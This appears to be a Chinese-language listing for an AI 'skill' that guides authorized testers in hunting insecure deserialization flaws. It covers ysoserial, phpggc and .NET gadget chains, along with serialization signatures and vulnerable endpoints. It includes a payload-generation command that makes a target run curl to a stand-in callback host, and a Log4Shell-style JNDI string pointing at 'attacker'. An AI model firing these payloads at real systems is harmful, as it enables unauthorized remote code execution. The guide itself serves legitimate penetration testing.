SuperAPI AI 工具集

hunt-deserialization

安全与审计

查看项目

更新于 10-15 21:37

技能介绍

用途:帮助安全测试人员发现并验证不安全反序列化漏洞,此类问题通常直接导致 RCE,多为严重级别。

主要能力:覆盖 Java gadget 链(ysoserial:CommonsCollections、Spring、JNDI、Groovy)、PHP 对象注入(__wakeup/__destruct)、Python pickle、.NET BinaryFormatter(TypeConfuseDelegate)、Ruby Marshal.load,以及 JNDI 注入(Log4Shell 型 ${jndi:ldap://attacker/a})。

检测信号:Java 序列化对象以 AC ED 00 05(hex)或 rO0A(base64)开头;PHP 形如 O:8:"stdClass":0:{};Python pickle 以 \x80\x04 开头;Cookie 含 rememberMe=(Apache Shiro)、_VIEWSTATE(未加密);Content-Type: application/x-java-serialized-object;端点 /remoting/、/invoker/、/jmx-console/、/wls-wsat/。

必要用法示例:安装 ysoserial 用 wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar;生成探测 payload 用 java -jar ysoserial-all.jar CommonsCollections6 'curl http://COLLAB_HOST/ysoserial' | base64 -w0;PHP 用 git clone https://github.com/ambionics/phpggc 并 php phpggc -l;Python pickle 通过 reduce 构造;.NET 用 YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate;Ruby 排查 grep -r "Marshal.load|Marshal.restore"。

适用场景:授权渗透测试、漏洞赏金、红队评估中的反序列化专项检查。

验证与限制:可用 DNS/HTTP 回调确认盲反序列化,响应中回显命令输出确认完整 RCE;需在授权范围内使用,滥用可能违法;具体目标环境、组件版本和收费信息暂未提供。